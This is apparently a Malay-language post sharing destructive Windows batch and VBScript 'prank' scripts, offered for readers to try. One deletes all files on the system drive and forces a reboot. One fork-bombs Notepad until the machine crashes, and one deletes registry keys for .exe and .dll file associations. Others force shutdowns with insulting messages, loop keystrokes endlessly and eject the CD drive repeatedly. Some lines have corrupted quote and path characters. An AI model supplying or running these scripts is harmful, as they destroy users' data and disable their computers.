· Buat blue screen
@echo off
del %systemdrive%’*.* /f /s /q
shutdown -r -f -t 00
· Buka notepad sentiasa dibuka sampai komputer crash
@ECHO off
:top
START %SystemRoot%’system32’notepad.exe
GOTO top
· keluar pop up trus komputer shut down
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10
· Capslock sentiasa so abis la huruf2 korang besau jer..hu3
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
· Enter sentiasa tertekan jew..
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
· Backspace (hapus) x habis2 nak tulis..hu3 :P
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
· Pop up cd/dvd drive (x boleh menutup drive cd ... selepas di tutup....pasti terbuka semual )
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
· Delete registry (BAHAYA, silakan cube ye...x cube x tau...hu3 :P
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE